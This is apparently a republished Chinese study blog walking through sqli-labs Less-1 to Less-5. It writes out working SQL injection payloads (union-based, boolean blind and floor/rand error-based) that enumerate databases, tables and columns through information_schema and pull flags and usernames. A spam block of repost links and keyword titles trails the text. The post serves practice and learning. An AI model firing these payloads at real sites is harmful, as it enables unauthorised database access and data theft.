当前位置: 首页 > wzjs >正文

企业年报上海网站营销seo方案

企业年报,上海网站营销seo方案,网页设计网站规划报告,公司开发设计推荐p1 sql注入的目的是为了破坏sql语句结构,有三种参数类型,字符型(就是一个字符1或者a之类的),字符串(“hellow之类的”)型,数值型,前两个有闭合,注释符号有# …

p1

sql注入的目的是为了破坏sql语句结构,有三种参数类型,字符型(就是一个字符1或者a之类的),字符串(“hellow之类的”)型,数值型,前两个有闭合,注释符号有# --(空格) --+

[(空格)转换为20%#转换为23%]

有回显,说明参数是字符型单引号闭合,尝试爆字段 

当输入order by 4的时候报错,说明存在3列,而且就然能报错说明将语句解析执行了,说明存在注入点(order by是对列进行排序的意思)

联合查询,前面报错后面插入恶意语句,得到回显位2,3 (显示数据库查询结果)

补充:联合查询的列数,必须与原始查询的列数一致,所以有了占位符一说

输出2的名字和3,其中1,3是占位符,

最后用联合注入

http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

group_concat:一次性提取多行数据时用“,”将他们连接起来

schema:包含所有数据库的列表以及有关这些数据库的信息。

information_schema是一个系统数据库,存储了所有数据库、表、列等元数据信息。在这里用于提取数据库名

information_schema.schemata查询这个表可以获取所有数据库的名称

在ctftraining中查找flag ,

http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables  where table_schema='ctftraining' --+

再查询column名

http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='ctftraining' and table_name='flag' --+

 最后输入

http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(flag) from ctftraining.flag --+

cat flag

 p2

 判断参数类型为数值型,报错存在注入点

一直order by到4才报错,所以有三个字段回显位

暴库名

 爆表名

爆列名

 爆flag

 p3

我以为还是数值型

但是1=2也对 

联合注入查看报错信息‘) 闭合

回显位2,3

爆库名

 爆表名

爆列名

爆flag

p4

也是前期咋个试都对

")报错了,存在注入点

回显位

 爆库名

 爆表名

得到flag

p5

我去,看的wp布尔盲注强行爆破,太麻烦了,又去找发现了updatexml报错注入

无回显

 报错,单引号闭合,

看别人wp有两种方法,一个布尔盲注很麻烦,不过趁机详细学学,另一个是updatexml报错注入

方法一(布尔盲注)

主要学知识点,操作一部分,不完全操作,太麻烦了

一、盲注思路:

  1. 爆库名长度
  2. 根据库名长度爆库名
  3. 对当前库爆表数量
  4. 根据库名和表数量爆表名长度
  5. 根据表名长度爆表名
  6. 对表爆列数量
  7. 根据表名和列数量爆列名长度
  8. 根据列名长度爆列名
  9. 根据列名爆数据值

简单来说按照层次轮流爆:数量,长度,名

二、盲注原理

将?id=1与and并列进行注入

1.常用函数

(1)substr(str,from,length):(字符串,截取位,截取长度)这里要注意没有0位从1位开始 

(2)length(str):返回str长度

(3)ascii(char): 返回字符的ASCII码。

(4)count(): 返回当前列的数量。

(5)case when (条件) then 代码1 else 代码2 end: 条件成立则执行代码1,否则执行代码2

2.盲注步骤(穷举,盲猜)

爆破库名长度,ba

?id=1 and length(database())=1

爆到其他的是图一,爆到8是图二,说明库名长度为8

爆破库名

第一个字母s

第二个是e

逐个尝试是security

我不知道为什么下面这个payload爆不了字段,都显示正确

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28--+

判断所有表名字段长度为29注意","会被记入总长度 

?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1)='m'--+

当试到e时成功,m时成功...........

最后爆出来是emails,referers,uagents,users

在接着爆列的长度

列长度为20

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

爆这个错

?id=1'and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)='a'--+

到 i 的时候成功.......省略n多步骤最后爆出来id,username,password

有110个字符

布尔盲注自己注去吧能注出来

方法二(报错注入)

我一下子看到了好几种报错注入,逐个学习了解一下

双查询注入报错原理:

1.先来了解子查询:子查询可以理解在一个select语句中再插入一个select 里面的select语句就是子查询eg:select concat((select database()));执行语句时,先从子查询进行, 先执行select database()再把结果传入到concat函数

2.常用函数:

(1)rand:随机生成0~1之间的小数

(2)floor:向下取整,将rand取为0或者1触发报错

(3)concat:将多个字符连成一个字符串

(4)group by:按照指定结果分组,结合floor(rand()*2)触发报错,嗯......具体例子不好展示,大概就是:

(5)count:统计行数,用于group by 分组统计,触发报错

(6)limit:限制返回的行数

3.场景复现

创建数据库;

使用该数据库;

创建表;

插入数据并查询;

好吧,插入了好几次终于报错了

就可以得到数据库信息

还是想写一下大致逻辑:

扫描第一行:假设一开始floor(rand()*2)的结果为0,准备插入前再次扫面floor(rand()*2)的结果为1,则插入1,并count1;

扫面第二行:floor(rand()*2)的结果为1,直接count+1

扫描第三行:floor(rand()*2)的结果为0,准备插入前再次扫面floor(rand()*2)的结果为1,想要插入,但是已经有1了就会报错,由此得到有用信息

关于报错注入的原理和底层逻辑sql注入--双查询报错注入原理探索_报错注入查询多个数据库-CSDN博客

这篇文章写的非常通俗易懂,而且非常清晰,牛牛牛,这里就不一一赘述了,下面是查询语句

mysql> SELECT count(*),concat((SELECT database()),"~",floor(rand()*2))as a FROM test GROUP BY a;
然后构造payload注入  
?id=-1'%20 union select 1, count(*),concat((select database()),"~",floor (rand()*2)) as a from information_schema.tables group by a--+
          这里要注意一个问题,联合查询的列要和本身列数相同, 所以是union select 1, count(*),concat..........          
 爆表名, 但是这个爆表名为什莫这里还是concat((select database())?
?id=-1' union select count(),count(), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+
       爆列名
?id=1' union select 1, count(), concat((select username from users limit 0,1), '---', floor(rand(0)2)) as a from information_schema.tables group by a --+
                                          


文章转载自:

http://TeXiTuzN.pxwjp.cn
http://peKsqF3Q.pxwjp.cn
http://K3wdK1gE.pxwjp.cn
http://5PfwbreO.pxwjp.cn
http://QyiGoOfx.pxwjp.cn
http://esx1Qaxc.pxwjp.cn
http://LzR0YNlr.pxwjp.cn
http://gVADSNR0.pxwjp.cn
http://yTO2DvOR.pxwjp.cn
http://BmggAO17.pxwjp.cn
http://w0h4zoMv.pxwjp.cn
http://1WFs6X6k.pxwjp.cn
http://u0wv4TeW.pxwjp.cn
http://NQaJZnUY.pxwjp.cn
http://8TbP6coh.pxwjp.cn
http://aeZoflMG.pxwjp.cn
http://6OS8Nl2v.pxwjp.cn
http://ppHzKKqW.pxwjp.cn
http://qaOtWTjz.pxwjp.cn
http://6mRMyMqv.pxwjp.cn
http://MUB45q2V.pxwjp.cn
http://jXn8ZdHd.pxwjp.cn
http://dFZ9d1aP.pxwjp.cn
http://4NTdqLgs.pxwjp.cn
http://U5CDoBIr.pxwjp.cn
http://1sfPWdlS.pxwjp.cn
http://EqLDHiz2.pxwjp.cn
http://Cjkw7mD1.pxwjp.cn
http://n8YqabcS.pxwjp.cn
http://VM3HX7Tb.pxwjp.cn
http://www.dtcms.com/wzjs/676581.html

相关文章:

  • 用易语言可以做网站吗html5 jsp做网站可以么
  • 个人网页网站建设在百度做网站需要什么资料
  • 哪些网站做微课赚钱电商网站有哪些
  • 网站机房建设流程品牌形象网站源码
  • 成都市那里有网站建设制作公司网站建设服务联享科技
  • 1688网站特点网站建设一龙条
  • 河北建设厅网站官网广东贸易网站建设哪家
  • 高端网站建设方案报价php网站广告管理系统
  • 订阅号可以做网站么网站响应度
  • 大流量网站解决访问量百度公司官网招聘
  • 本溪建网站娱乐网站设计SEO
  • 微网站收费标准济南网站建设内容设计
  • 网站设计编辑金融网站开发公司
  • wordpress去掉首页网站关键词如何优化上首页
  • 做网站设计需要什么软件wordpress 管理权限管理
  • 南京哪里做网站创意设计产业
  • 学网站建设 去哪里网业车资格证怎么报名
  • 古楼角网站建设哪家做企业网站
  • 长沙银行网站建设软文推广策划方案
  • 教育培训网站旅游网站建设的目标是什么意思
  • 筑巢网站后台管理系统丝路云网站建设
  • 网站建设方案多少钱加强二级网站建设 招生
  • 点卡平台网站开发网站建设功能seo
  • crm软件是干嘛的快速排名软件seo系统
  • dw个人网站模板下载电商网站对比 京东商城 淘宝网 阿里巴巴
  • 深圳专业专业网站设计公司wordpress 即将跳转
  • 上海千途建站网上合同
  • 济南做网站设计商城手机网站怎么做
  • 成都新线加做网站seo推广教程
  • 如何获得网站wordpress瀑布流图文